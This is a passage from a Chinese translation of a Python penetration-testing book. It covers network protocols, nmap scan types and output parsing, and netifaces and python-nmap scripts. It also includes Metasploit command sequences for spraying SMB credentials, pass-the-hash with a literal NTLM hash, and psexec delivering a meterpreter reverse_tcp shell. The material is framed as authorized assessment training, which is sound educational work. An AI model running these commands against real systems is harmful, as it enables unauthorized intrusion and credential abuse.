try:
public_ip_address = grabber.open(target_url).read()
except urllib2.HTTPError, error:
print("There was an error trying to get your Public IP: %s") % (error)
except urllib2.URLError, error:
print("There was an error trying to get your Public IP: %s") % (error)
return public_ip_address
public_ip = "None"
target_url = "http://ip.42.pl/raw"
public_ip = get_public_ip(target_url)
if not "None" in public_ip:
print("Your Public IP address is: %s") % (str(public_ip))
else:
print("Your Public IP address was not found")
您的脚本的输出应该类似于这样:
提示
这个脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/publicip.py
找到。
总结
本章重点介绍了 Python 脚本语言的基础知识,并通过示例开发了您自己的代码。它还指出了与创建评估脚本相关的常见陷阱。本章的最后一节重点介绍了如何创建有用的脚本,即使只是简单地拼凑已生成的示例的组件。
在接下来的章节中,我们将更深入地探讨这个主题,使用nmap
、scapy
和 Python 进行自动化,对环境进行适当的侦察。
第三章:使用 Nmap、Scapy 和 Python 识别目标
目标识别、网络监视和主动侦察都是您可能在评估环境的初始过程中看到的术语,它们可能互相替代,以描述这个过程。根据您使用的框架,如 PTES、自定义公司方法或其他行业标准,这些术语可能有不同的含义。重要的是要记住,您要查看批准范围内哪些主机是活动的,以及它们开放和响应的服务、端口和功能。
这些方面将决定您将从这里开始执行的活动。往往,这个阶段很短暂,评估员们立即开始利用他们看到对扫描作出响应的系统。新的评估员们不是有条不紊地研究可能的目标,而是立即投入其中。这在以前的工作中可能对他们有所帮助,因为他们很快就达到了目标,但是以这种方式进行评估还有其他影响,许多评估员并没有意识到。
他们可能会错过甚至更容易利用的系统。因此,如果您作为评估员没有看到这一点,而恶意行为者可能会看到,那么几个月后您可能会与客户进行一次令人不快的对话,讨论为什么您错过了这个漏洞。但请记住,渗透测试是时间的快照,环境总是在变化。环境中的控制和限制会调整,系统经常被重新分配。因此,在新的评估中可能会出现旧的漏洞。有条不紊意味着您可能会找到多个易于攻击的目标,这可能有助于您与客户建立良好的关系,并进而获得更多的工作。最重要的是,它将指出客户缺陷的根本原因,如果不加以修复,将继续产生控制失误。
评估员的最大影响来自于某人过早行动,这意味着他们可能开始利用组织中没有重要目的的系统。这意味着尽管他们破解了一个盒子,但它并没有通过网络传输任何价值,或者漏洞是不可利用的,因此可以被视为虚假阳性。因此,所有这些初始扫描都必须重新启动,浪费宝贵的时间,并增加了达成目标的机会。要了解如何扫描网络,首先必须了解网络帧、数据包、消息和数据报,以便可以操纵它们。
了解系统如何通信
有整套书籍专门讨论网络通信;本章将从一些非常基本的信息开始。如果您已经了解了这些数据,我鼓励您阅读一遍,以便复习一下,以防涵盖了一些新的或不同的细节。此外,还有一些关于标头组件和有效载荷大小的参考。这些是关于网络协议如何引用的具体信息,以及根据传输的数据和/或专业网络的差异,协议可能会有所不同。
当系统生成数据时,它通过系统的传输控制协议(TCP)/ 互联网协议(IP)堆栈发送。这将数据打包成可以通过电线传输的形式。如果您听说过开放系统互连(OSI)模型,那么您就知道这是人们讨论系统如何处理数据的方式,而 TCP/IP 模型是系统实际操作的方式。
注意
每个系统都有一个 TCP/IP 堆栈,代表了 TCP/IP 模型的实现。重要的是要理解套接字是通过什么进行通信的。这是通过链接源和目的 IP 地址以及源和目的端口来完成的。
有一系列称为临时端口范围的端口。其范围因系统而异。这些端口也被称为动态端口,客户端用作套接字通信的源端口。它们也可以是服务器上已知服务的目的端口,前提是已知端口设计用于通信代理而不是目的地。诸如文件传输协议(FTP)之类的服务使用这种技术。您必须了解这一点,因为在尝试识别目标时,这些临时端口通常不需要被扫描,因为它们很少作为服务发起者。因此,它们是短暂的,并且仅与特定通信流相关联。
提示
请记住,管理员经常将已知服务隐藏在这些较高的端口范围内,以尝试创造服务不被识别的情况。这被称为安全性通过混淆。在扫描许多主机时,您可能需要避免扫描这些范围,因为这样会花费更多时间。如果您没有识别出许多服务,或者目标网络中有一些主机,您可能希望将这些包括在您的扫描范围内。
第 4 层标头代表 TCP 和用户数据报协议(UDP)标头以及特定 IP 的目标连接端口。第 3 层标头代表 IP 和互联网控制消息协议(ICMP)标头。第 2 层标头与帧标头、尾部和地址解析协议(ARP)有关。以下图表描述了帧生成的方法,用于两个系统之间的通信:
现在您已经看到了帧是如何从上到下生成的,让我们回到堆栈的顶部,看看如何将每个组件解构以获取数据。从那里开始,您可以从以太网帧开始。
以太网帧结构
帧是数据从主机到主机传输的方式,有许多组成帧的组件。您可以在维基百科和工程文件中阅读大量与帧相关的信息,但有一些事情您需要了解。帧通过硬件地址进行通信,这个地址被称为媒体访问控制(MAC)地址。无线网络和以太网网络的帧略有不同。此外,在帧的末尾是一个校验和。这是一个基本的数学检查,用于验证数据在传输过程中的完整性。以下是一个以太网帧的截图,目的地是 TCP 端口:
下一个截图代表了帧的内容,目的地是 UDP 端口:
以太网网络中的第 2 层
帧用于在广播域或默认网关内部的位置进行通信,或者在通过路由器之前进行通信。一旦通过路由器,下一个广播域将使用路由器硬件地址的接口。根据设备之间的通信协议,这些通常也是以帧的形式发送的。这一过程一遍又一遍地进行,直到帧到达由 IP 地址标识的目的地。这非常重要,因为如果您希望使用 Responder 或 Ettercap 等工具运行大多数中间人(MitM)攻击,您必须在广播域内,因为它们是第 2 层攻击。
无线网络中的第 2 层
无线攻击的概念非常相似,因为你必须在服务集标识符(SSID)或实际无线网络名称的范围内。你的通信方式会略有不同,这取决于无线网络的设计,但你会使用接入点(AP),这些 AP 由基本服务集标识符(BSSIDs)区分,这是 AP 的 MAC 地址的一个花哨的名称。
一旦你通过 AP 关联和认证进入网络,你就成为基本服务集(BSS)或企业网络的一部分,但受限于 AP 的范围。
如果你进入一个无线网络并与一个新的 AP 关联,因为信号更好,你将成为一个新的 BSS 的一部分。所有 BSS 都是企业服务集(ESS)的一部分;有趣的是,如果无线网络包含多个 AP,它就是一个 ESS。要能够与无线工程师进行通信,你必须了解,如果你在企业无线网络中,SSID 实际上被称为企业 SSID(ESSID)。现在你已经了解了第 2 层头部,现在是时候看看 IP 头部了。
注意
根据你正在阅读的网络文档,如果有一个分布系统(DS)和一个 AP,或者两个 AP 和一个 DS,就会创建一个 ESS。DS 只是一个连接 AP 的非无线网络的花哨名称。这很重要要记住,因为根据公司使用的产品品牌,术语可能略有不同。
IP 数据包架构
IP 头部包含了通过使用 IP 地址进行通信所需的数据。这允许通信在广播域之外流动。下图显示了 IPv4 头部的一个示例:
你可能已经读到了 IPv4 即将结束,或者已经接近结束。嗯,你可能已经听说了,它的替代品是 IPv6。这种新的地址方案提供了大量的新主机地址,但正如你在两种头部类型的比较中所看到的,字段要少得多。需要知道的一件事是,与 IPv4 相比,IPv6 存在大量的漏洞。
有许多原因,但最重要的原因是,当组织将安全概念应用到他们的网络时,他们忘记了 IPv6 默认是支持的并且已经打开。这意味着当他们配置保护机制时,他们通常使用 IPv4 地址。如果 IPv6 被启用,而安全设备不知道网络中不同地址类型或与这些设备的关联,攻击可能会被忽略。
想象一下:假设你有一所房子,有前门和后门,只有前门有保安。房子有相同的物理地址,但你进入的方式完全不同,因为它有两个不同的门。这个安全概念非常相似,因此组织应该记住,如果不仔细考虑影响,IPv6 可能会给组织带来新的漏洞。下图显示了 IPv6 数据包结构的一个示例:
TCP 头部架构
相对而言,TCP 数据包头部比 UDP 数据包头部要大得多。它必须容纳必要的排序、标志和控制机制。具体来说,数据包用于使用多种不同的标志进行会话建立和拆除。这些标志可以被操纵,以便攻击者从目标系统获得响应。
下图显示了一个 TCP 头部:
理解 TCP 的工作原理
在了解如何执行扫描和识别主机之前,您需要了解 TCP 通信流如何工作。TCP 是一种面向连接的协议,这意味着两个系统之间建立了一个会话。一旦这个会话建立,最初用于通信的信息就可以发送,当所有数据都发送完毕后,连接就会关闭。
TCP 三次握手
TCP 握手也称为三次握手。这意味着在两个系统之间建立通信套接字之前,要在两个系统之间发送三条消息。这三条消息是 SYN、SYN-ACK 和 ACK。试图建立连接的系统从设置了SYN
标志的数据包开始。回答系统返回一个设置了SYN
和ACK
标志的数据包。最后,发起连接的系统向原始目标系统返回一个设置了ACK
标志的数据包。在旧系统中,如果通信链路未完成,可能会产生意外后果。如今,大多数系统足够智能,只需重置(RST)连接或优雅地关闭连接。
UDP 标头结构
虽然 TCP 是一种面向连接的协议,UDP 是一种简单的无连接协议。正如您在下图中所看到的,UDP 数据包的标头要简单得多。这是因为 UDP 维护套接字的开销要少得多,与 TCP 相比。
了解 UDP 的工作原理
UDP 与监听端口建立通信流。该端口接受数据并将其根据需要传递到 TCP/IP 堆栈。虽然 TCP 用于同步和可靠的通信,但 UDP 不需要。多媒体演示是 UDP 通信的最佳示例。如果您正在观看电影,您不会在意可能丢失的数据包,因为即使它被重发,也没有意义在电影已经从最初的演示中移动之后再呈现它。现在您已经了解了系统通信的基础知识,您需要了解如何使用 Nmap 扫描技术使用不同的标志来收集所需的数据。
注意
每次扫描都有不同的目的,特定的标志会引发操作系统不同的响应,具体取决于它们是否按顺序接收。 nmap 端口扫描技术网页nmap.org/book/man-port-scanning-techniques.html
简洁地详细介绍了这些信息。
了解 Nmap
如果有一种工具在大多数顶级和新的评估工具包中无处不在,那就是 nmap。您可能会发现不同的利用框架、Web 应用程序工具和其他偏好,但 nmap 是许多形式评估的基本工具。现在,这并不是说没有其他工具可以执行类似的功能;只是它们没有那么强大。这包括 AngryIP、HPing、FPing、NetScan、Unicorn scan 等工具。在所有这些工具中,只有两种显得显著不同,它们是 HPing 和 Unicorn scan。
我看到新的评估者在使用 nmap 时犯的最大错误是从同一主机同时执行多次扫描。他们没有意识到 nmap 使用主机操作系统的集成 TCP/IP 堆栈。这意味着任何额外的扫描都不会加快结果;相反,操作系统的 TCP/IP 堆栈必须同时处理多个会话。这不仅会减慢每次扫描的结果,还会增加错误,因为每个接收的数据包都可能影响结果,具体取决于它被哪个实例接收。
每个丢失的数据包都可以重新发送;这意味着扫描速度变慢,不仅因为重新发送的数据包数量,还因为不一致的结果和受限的 TCP/IP 堆栈。这意味着您只能对每个主机执行一次 nmap 扫描。因此,您必须尽可能高效。那么解决方案是什么?您可以使用 nmap 执行使用主机 TCP/IP 堆栈和 Unicorn 扫描的扫描,后者包含其自己的 TCP/IP 堆栈。事实上,通过高效使用 nmap 而不是同时使用多个工具,可以避免整个情况,后者会占用相对的时钟周期。
因此,除了处理驻留 TCP/IP 堆栈的限制外,还有一个限制,即 nmap 可以如何详细地操作数据包。HPing 提供了相对容易创建符合特定意图的自定义数据包的能力。尽管进行了这种自定义,但 HPing 只能有效地针对单个主机执行测试。如果多个主机需要相对自定义的简单 ping 测试,FPing 应该是首选工具。特别是因为 FPing 在标准输出(STDOUT)中产生的结果易于解析,以产生高效和有用的结果。这并不是说 nmap 不是一个高度可配置的工具,而是指出它不能替代经验丰富且聪明的评估者,每个工具都有其用武之地。因此,您需要了解其限制并根据需要进行补充。
输入 Nmap 的目标范围
Nmap 可以通过标准输入(STDIN)或文件输入目标。对于 CLI,可以通过多种方式进行,包括一系列 IP 地址和 IP 地址的无类域间路由(CIDR)表示法。对于文件,IP 地址可以通过提到的方法传递,包括 CIDR 表示法、IP 地址和范围,以及通过换行或回车分隔的 IP 列表。要通过 CLI 传递数据,用户只需在命令的末尾呈现该部分,如下所示:
nmap -sS -vvv -p 80 192.168.195.0/24
对于文件输入方法,所需的只是-iL
选项,后面跟着文件名:
nmap -sS -vvv -p 80 -iL nmap_subnet_file
执行不同的扫描类型
Nmap 支持大量不同的扫描,但这里不会涵盖所有扫描。相反,我们将重点关注您在评估中最常使用的扫描。您主要使用的四种扫描是 TCP 连接扫描(也称为完全连接扫描)、SYN 扫描(也称为半开放或隐秘扫描)、ACK 扫描和 UDP 扫描。这些都是为未来脚本编写所需的知识水平而突出显示的。
注意
在进行外部测试时,您可能会被自动屏蔽或排斥。这可能是由客户的互联网服务提供商(ISP)或他们的信息技术(IT)团队执行的。您应该始终备份公共 IP 地址,以防您的主要 IP 地址被屏蔽。然后,避免做与之前被屏蔽的相同的事情。接下来,当您看到客户进行积极的屏蔽时,请记录下来,因为这种积极的活动突出了他们应该考虑继续投资的地方以及他们存在差距的地方。
执行 TCP 完全连接扫描
TCP 连接扫描是 nmap 中最响亮或最容易检测到的扫描之一,但它也是最适合消除误报的扫描之一。在早期,**事件响应(IR)**和安全团队非常关注外围的扫描,以便确定何时会遭受攻击。时代变了,外围产生的噪音变得过多,许多以前看到的访问被更先进的防火墙所减轻。今天,IR 团队再次关注外围,并利用他们看到的活动来相关事件和潜在的未来尝试进入网络,或者跟踪已经执行的攻击相关的后续行动。
TCP 连接扫描可能提供最准确的结果,但自动拒绝机制通常会阻止扫描源在互联网服务提供商(ISP)处。要执行 TCP 扫描,你只需使用-sT
指示相关的扫描类型,如下所示:
nmap -sT -vvv -p 80 192.168.195.0/24
注意
我评估过许多组织,只能使用完全连接扫描进行扫描,因为如果执行 SYN 扫描,它们会立即拒绝连接。诀窍在于了解你的目标及其环境的先进程度。在预约阶段,很多情况都可以确定。
执行 SYN 扫描
SYN 扫描是一种 TCP 扫描,它可能是你在参与中运行的最突出的扫描。原因是它比 TCP 连接扫描快得多,而且更安静。然而,它不适用于极老或敏感设备类型的环境。虽然大多数现代系统在及时收到 ACK 响应后关闭连接时不会有问题,但其他系统可能会出现问题。过去曾多次出现这样的情况,如果连接未完成,一些传统系统可能会出现拒绝服务(DoS)的情况。今天,这种情况已经很少见,但始终要考虑客户的担忧,因为他们比你更了解自己的环境。
SYN 扫描只需使用-sS
标志来执行,如下所示:
nmap -sS -vvv -p 80 192.168.195.0/24
执行 ACK 扫描
ACK 扫描是三种 TCP 扫描类型中最罕见的,它可能并不像你想象的那样直接有用。让我们看看在什么情况下你会使用 ACK 扫描。它是一种慢速扫描,所以如果 SYN 或 TCP 扫描不能提供你需要的结果,你会使用它。Nmap 今天非常智能;通常你不需要执行不同类型的扫描来验证你正在攻击的目标类型。因此,你可能会尝试识别一个完全连接扫描无法使用的资源。这意味着你可能无法连接到主机进行进一步的攻击,因为你无法完成三次握手。
那么 ACK 扫描在哪里有用呢?人们经常问这个问题,答案是“防火墙”。ACK 扫描非常适合映射防火墙规则集。一些系统对 ACK 扫描的反应非常奇怪,并提供额外的数据,所以当你执行 ACK 扫描时,确保你的系统上运行着tcpdump
。以下是如何执行 ACK 扫描的示例。运行以下命令:
nmap -sA -vvv -p80 192.168.195.0/24
执行 UDP 扫描
你会看到大量的博客文章、书籍和几个培训活动强调 UDP 是一个经常被忽视的协议。在未来的章节中,我们将强调这对一个组织来说是多么危险。UDP 扫描非常慢,由于 UDP 和 TCP 一样有很多端口,扫描它们需要大量的时间。此外,UDP 扫描——用更好的术语来说——是虚假的。它们经常报告一些东西是被过滤/开放的,这基本上意味着它不知道。
在非常大的环境中,这可能会令人恼火。它也没有完全的能力来获取大多数 UDP 端口服务信息。最常见的端口有特别打包的扫描数据,这使得 nmap 能够确定端口是否真的开放以及有什么服务,因为服务并不总是在默认端口上。当服务移至 UDP 端口时,与 TCP 扫描相比,nmap 返回的默认扫描数据会受到影响,影响并不大。
要执行 UDP 扫描,只需将扫描标志设置为-sU
,如下所示:
nmap -sU -vvv -p161 192.168.195.0/24
执行组合 UDP 和 TCP 扫描
现在,您知道如何运行主要扫描,但是连续运行 TCP 和 UDP 扫描可能需要很长时间。为了节省时间,您可以通过针对两种类型的扫描的端口来组合资源的扫描。但是要明智地使用,如果在此扫描中使用了大量端口,将需要很长时间才能完成。因此,此扫描非常适合针对您可以用来识别易受攻击的资源的顶级端口,例如以下端口:
服务类型 | 常见端口号 | 协议 | 服务 |
---|---|---|---|
数据库 | 1433 | TCP | Microsoft 结构化查询语言(MSSQL)服务器 |
1434 | UDP | SQL Server 浏览器服务 | |
3306 | TCP | MySQL | |
5433 | TCP | PostgresSQL 服务器 | |
远程文件服务 | 2049 | TCP | 网络文件服务(NFS) |
111 | TCP | Sun 远程过程调用(RPP) | |
445 | TCP | 服务器消息块(SMB) | |
21 | TCP | 文件传输协议(FTP) | |
远程管理界面 | 3389 | TCP | 远程桌面协议(RDP) |
22 | TCP | 安全外壳(SSH) | |
23 | TCP | Telnet | |
6000 到 6005 | TCP | x11 | |
5900 | TCP | 虚拟网络连接器(VNC) | |
9999 | TCP | 用于遗留网络设备的已知远程管理界面 | |
接口和系统/用户枚举服务 | 25 | TCP | 发送邮件传输协议(SMTP) |
79 | TCP | Finger | |
161 | UDP | 简单网络管理协议 | |
Web 服务器 | 80、443 | TCP | Web 服务 |
8080、8443 和 8888 | TCP | Tomcat 管理页面,JBoss 管理页面,系统管理面板 | |
虚拟专用网络(VPN)管理详细信息 | 500 | UDP | 互联网安全关联和密钥管理协议(ISAKMP) |
要执行组合扫描,只需标记要使用的两种类型的扫描,并逐个列出要为每种协议扫描的端口。这是通过提供-p
选项,后跟U:
用于 UPD 端口和T:
用于 TCP 端口来完成的。请参阅以下示例,仅为简洁起见突出显示了一些端口:
nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24
跳过操作系统扫描
我见过许多新的评估者对 nmap 的操作系统扫描充满了愉快的兴奋。这是我团队成员知道的识别不经常评估企业环境的人的最快方法之一。原因如下:
-
操作系统扫描非常吵闹
-
它可能会使遗留系统崩溃,因为它执行链接扫描以确定响应并验证系统类型
-
对于旧的或遗留系统,可能会造成破坏
-
过去,某些打印机可能会出现问题,包括打印浸泡墨水的黑色页面,直到它们被关闭或用完纸
有经验的评估者不使用这种扫描的最大原因是因为它在今天提供的价值很小。你可以用其他方法更快、更容易、更安静地识别这种扫描提供的细节。例如,如果你看到端口445
打开,那么它要么是运行 Samba 变体的系统,要么是 Windows 主机——通常是这样。学习每个操作系统的端口、服务标签和版本将比这种扫描更好地识别操作系统和版本。此外,如果是一种你无法通过这种方法识别的系统,那么 nmap 也不太可能做到,当然这取决于你的技能水平。
提示
随着经验的积累,你会学会如何使用 Responder、tcpdump 和 Wireshark 等工具被动地识别活动主机。这意味着你不需要扫描主机,实质上,你更加安静。这也更好地模拟了真正的恶意行为者。
不同的输出类型
Nmap 有四种输出类型,根据情况它们非常有用。它们可以输出到屏幕,STDOUT
,或者三种不同的文件类型。这些文件类型有不同的目的和优势。有 nmap 输出,看起来和STDOUT
一样,但是在文件中;这是用-oN
来实现的。然后,还有Grepable
和可扩展标记语言(XML)输出,如下所述。所有输出可以使用-oA
标志同时产生。
理解 Nmap Grepable 输出
有 Grepable 输出,说实话,对于提取数据来说并不是那么好。它可以提供一种快速、简单地提取数据组件来构建列表的方法,但是要用grep
、sed
和awk
来正确解析它,你实际上必须插入字符来表示数据应该被提取的位置。Grepable 输出可以通过标记-oG
来执行。
当你有一个 Grepable 文件时,解析数据的最有用的方法是根据它的某些组件。通常你要寻找与特定服务相关的开放端口。因此,你可以通过执行以下命令提取这些细节:
cat nmap_scan.gnmap | grep 445/open/tcp | cut -d" " -f2 >> /root/Desktop/smb_hosts_list
这个例子展示了一个 Grepable 文件被推送到STDOUT
,然后被管道传输到grep
,grep
搜索开放的445 端口
。这可以通过grep
和 cut 来完成,但是这样很容易阅读和理解。一旦找到端口,cut 提取 IP 地址并将它们推送到一个名为smb_hosts_lists
的平面文件中。如果你查看nmap_scan.gnmap
文件,你可能会看到包含以下细节的行:
Host: 192.168.195.112 () Ports: 445/open/tcp/
正如你所看到的,这行包含445/open/tcp
的细节,这使我们能够针对特定行进行目标定位。然后我们使用空格作为分隔键进行切割,并选择第二个字段,如果你通过空格计算数据字段,你会找到 IP 地址。这种技术非常常见,对于快速识别 IP 地址开放的服务或端口,并基于服务或端口创建多个平面文件非常有用。
正如第一章中所示,理解渗透测试方法论,你可以使用 Metasploit 模块中的rhosts
字段来通过 CIDR 表示法或范围来定位主机。当你创建平面文件时,你可以使用 Metasploit 模块来引用平面文件而不是目标主机列表。要运行 Metasploit 控制台,执行以下命令:
msfconsole
如果你正在从命令行运行 Metasploit Professional,使用以下命令:
msfpro
现在看看这个例子,在这个例子中,我们将尝试并查看我们之前破解的密码是否适用于网络中其余主机:
use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run
use
命令选择要使用的模块——在本例中是smb_login
模块,用于验证Server Message Block(SMB)凭据。SMBUser
设置选择要对其执行此攻击的用户名。SMBPass
设置选择要在此模块中使用的密码。SMBDomain
字段允许您设置组织的域。run
命令执行辅助模块。在早些年,您必须使用run
来执行辅助模块和利用模块。如今,这些实际上是可以互换的,除了需要run
的后期利用模块,如www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/
中所强调的。
提示
如果您使用本地帐户进行攻击,应将域设置为工作组。当攻击域帐户时,应将域设置为组织的实际域。
Metasploit Professional 是一种帮助优化渗透测试工作的工具,它具有 Web 图形用户界面(GUI)。Metasploit pro 提供了许多出色的功能,但如果您需要通过由防火墙保护的多个网络层进行枢纽,控制台是最佳选择。要了解如何执行自动枢纽,您可以在www.offensive-security.com/metasploit-unleashed/pivoting/
找到详细信息。要了解如何执行手动枢纽,请参阅pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
,其中涵盖了基于端口的枢纽、手动路由和 SOCKS 代理。
这种攻击方法非常常见;您找到凭据,确定凭据可能适用的服务,然后构建平面文件以针对主机。接下来,您引用这些平面文件来检查主机是否存在漏洞。一旦验证了这些主机的脆弱性,您就可以使用Pass-the-Hash(PtH)利用它们,使用Process Execution(PSEXEC)攻击(如果您有哈希)或标准凭证 PSEXEC,如下面的代码所示:
提示
PtH 是一种利用与系统在网络上进行身份验证的 Windows 本机弱点相关的攻击。与要求挑战/响应身份验证方法不同,哈希密码可以直接传递到主机。这意味着您不必破解本地区域网络管理器(LM)或新技术 LM(NTLM)哈希。许多 Metasploit 模块可以使用 SMB 服务的凭据或哈希。
msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j
payload
命令选择要在主机上投放并执行的有效负载。reverse_tcp
有效负载拨回攻击盒以建立连接。如果是bind
有效负载,攻击盒在执行后将直接连接到监听端口。RHOST
和LPORT
表示我们要连接的目标主机和攻击盒上要监听返回通信的端口。exploit -j
运行漏洞利用,然后将结果放到后台,这样可以让您专注于其他事情,并在需要时使用session -i <session number>
返回会话。请记住,您不需要破解凭据来执行smb_login
或psexec
;相反,您可以使用 PtH。在这种情况下,smb_login
命令的文本将如下代码所示:
注意
在执行过程完成时,放在盒子上的所有有效负载都将被删除。如果执行过程中断,有效负载可能会留在系统中。更安全的环境使用监视进程的工具,如果这些工具未正确配置以删除检测到的进程的生成器,则可能会出现这种情况。
msfconsole
use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run
以下配置将用于psexec
命令:
msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j
现在您已经了解了nmap grepable
输出的目的和好处,让我们来看看 XML 输出的好处。在继续之前,有一点需要注意,这将帮助您了解 XML 的好处。看一下nmap grepable
输出的行。您可以看到用于区分数据字段的特殊字符非常少;这意味着您可以轻松提取只有小部分信息。要获取更大的数量,您必须使用sed
和awk
插入分隔符。这是一个痛苦的过程,但幸运的是,您手头上有解决方案——XML 输出。
理解 Nmap XML 输出
XML 构建数据树,使用子父组件来标记数据集。这允许在遍历列出父子关系的树之后,使用特定标签抓取数据进行轻松和直接的解析。最重要的是,由于这一点,XML 输出可以被其他工具导入,比如 Metasploit。您可以使用-oX
选项轻松地只输出 XML。这些好处的更多细节将在以后的章节中进行介绍,特别是在第九章中使用 Python 解析 XML 时,使用 Python 自动化报告和任务,以帮助自动生成报告数据。
Nmap 脚本引擎
Nmap 有许多脚本,为评估者提供独特的功能。它们可以帮助识别易受攻击的服务、利用系统或与复杂的系统组件交互。这些脚本是用一种叫做 Lua 的语言编写的,这里不会涉及。这些脚本可以在 Kali 的/usr/share/nmap/scripts
中找到。可以使用--script
选项调用这些脚本,然后以逗号分隔的列表形式调用。在针对目标执行脚本之前,请确保您知道每个脚本的作用,因为它可能对目标系统产生意外后果。
注意
有关nmap
脚本的更多详细信息,请访问nmap.org/book/man-nse.html
。可以在nmap.org/nsedoc/
找到有关nmap
脚本的具体细节,以及它们的目的和类别关联。
脚本可以按其所属的类别调用,或者从您不希望它们所属的类别中移除。例如,您可以看到以下命令运行nmap
工具,使用所有默认或安全脚本,这些脚本不以http-
开头:
nmap --script "(default or safe) and not http-*" <target IP>
到目前为止,您应该已经对如何使用 nmap 以及其中的功能有了相当好的了解。让我们来看看如何高效使用 nmap。这是因为渗透测试的最大限制因素是时间,在这段时间内,我们需要简明地识别易受攻击的目标。
高效使用 Nmap 扫描
Nmap 是一个很棒的工具,但是您可能会受到网络设计不佳、大量目标集和不受限制的端口范围的限制。因此,高效的关键是限制您扫描的端口数量,直到您知道哪些目标是活动的。这可以通过针对具有活动设备的子网并仅扫描这些范围来完成。这样做的最简单方法是查找网络中活动的默认网关。因此,如果您看到您的默认网关是192.168.1.1
,那么在这个 C 类网络中,其他默认网关可能在诸如192.168.2.1
之类的区域是活动的。对默认网关进行 ping 操作是一个有点吵闹的过程,但它通常与大部分正常的网络流量一致。
Nmap 具有内置功能,可以使用--top-ports
选项来定位统计上更常见的端口,然后跟上一个数字。例如,您可以使用--top-ports 10
选项查找前 10 个端口。这些统计数据是通过对面向互联网的主机进行长期扫描发现的,这意味着统计数据是基于互联网上可能暴露的内容。因此,请记住,如果您正在进行内部网络评估,此选项可能无法提供预期的结果。
作为评估员,您经常会收到一系列要评估的目标。有时,这个范围非常大。这意味着您需要尝试通过查看哪些位置的默认网关是活动的来确定活动段。每个活动的默认网关和相关子网将告诉您应该扫描的位置。因此,如果您的默认网关是192.168.1.1
,您的子网是255.255.255.0
或/24
,您应该检查从192.168.2.1
到192.168.255.1
的其他默认网关。当您 ping 每个默认网关时,如果它有响应,您就知道该子网中可能有活动主机。这可以很容易地通过众所周知的 bash for
循环来完成:
for i in `seq 1 255`; do ping -c 1 192.168.$1.1 | tr \\n ' ' | awk '/1 received/ {print $2}'; done
这意味着您必须查找您的默认网关地址和子网,以验证您正在使用的每个接口的详细信息。如果您能够使用 Python 脚本自动化查找这些系统详细信息的过程会怎样呢?要开始这个旅程,请使用netifaces
库提取接口的详细信息。
使用 netifaces 库确定您的接口详细信息
我们演示了如何使用 Python 脚本在第二章中找到接口详细信息,Python 脚本的基础。它旨在找到任何系统的详细信息,而不考虑库,但它只能根据提供的接口名称列表找到地址。此外,它是一个不太严密的脚本。相反,我们可以使用 Python 的netifaces
库来遍历地址并发现详细信息。
此脚本使用多个函数来完成特定任务。包括的函数有get_networks
、get_addresses
、get_gateways
和get_interfaces
。这些函数确切地做你期望它们做的事情。第一个函数get_interfaces
找到该系统的所有相关接口:
def get_interfaces():
interfaces = netifaces.interfaces()
return interfaces
第二个函数确定网关并将其作为字典返回:
def get_gateways():
gateway_dict = {}
gws = netifaces.gateways()
for gw in gws:
try:
gateway_iface = gws[gw][netifaces.AF_INET]
gateway_ip, iface = gateway_iface[0], gateway_iface[1]
gw_list =[gateway_ip, iface]
gateway_dict[gw]=gw_list
except:
pass
return gateway_dict
第三个函数确定每个接口的地址,包括 MAC 地址、接口地址(通常是 IPv4)、广播地址和网络掩码。所有这些详细信息都是通过传递接口名称的函数来获取的:
def get_addresses(interface):
addrs = netifaces.ifaddresses(interface)
link_addr = addrs[netifaces.AF_LINK]
iface_addrs = addrs[netifaces.AF_INET]
iface_dict = iface_addrs[0]
link_dict = link_addr[0]
hwaddr = link_dict.get('addr')
iface_addr = iface_dict.get('addr')
iface_broadcast = iface_dict.get('broadcast')
iface_netmask = iface_dict.get('netmask')
return hwaddr, iface_addr, iface_broadcast, iface_netmask
第四个,也是最后一个函数,从get_gateways
函数提供的字典中确定接口的网关 IP。然后调用get_addresses
函数来确定接口的其余详细信息。所有这些都被加载到一个以接口名称为键的字典中:
def get_networks(gateways_dict):
networks_dict = {}
for key, value in gateways.iteritems():
gateway_ip, iface = value[0], value[1]
hwaddress, addr, broadcast, netmask = get_addresses(iface)
network = {'gateway': gateway_ip, 'hwaddr' : hwaddress,
'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask}
networks_dict[iface] = network
return networks_dict
注意
完整的脚本代码可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ifacesdetails.py
找到。
以下屏幕截图突出显示了此脚本的执行:
现在,我们知道这与扫描和识别目标没有直接关系,但是用于消除目标。这些目标是您的系统;一旦您开始自动评估一些系统,您将会发现您不希望您的系统出现在列表中。我们将重点介绍如何使用 Nmap 库扫描系统,识别可定位的服务,然后消除可能是我们系统的任何 IP 地址。
Python 的 Nmap 库
Python 有库可以直接执行nmap
扫描,可以通过交互式解释器或构建多功能攻击工具。例如,让我们使用nmap
库来扫描我们本地 Kali 实例的Secure Shell (SSH)服务端口。确保服务已启动,执行/etc/init.d/ssh start
命令。然后使用pip install python-nmap
安装 Python 的nmap
库。
现在,您可以直接使用库执行扫描,导入它们,并将nmap.PortScanner()
分配给一个变量。然后可以使用实例化的变量来执行扫描。让我们在交互式解释器中执行一个示例扫描。以下是使用交互式 Python 解释器针对本地 Kali 实例进行端口 22
扫描的示例:
正如您所看到的,这是一个可以根据需要调用的字典的字典。通过交互式解释器执行扫描需要更多的工作,但在您可能已经掌握了具有 Python 的环境中非常有用,并且它将允许您在参与过程中安装库。这样做的更大原因是编写将使有针对性的利用更容易的方法。
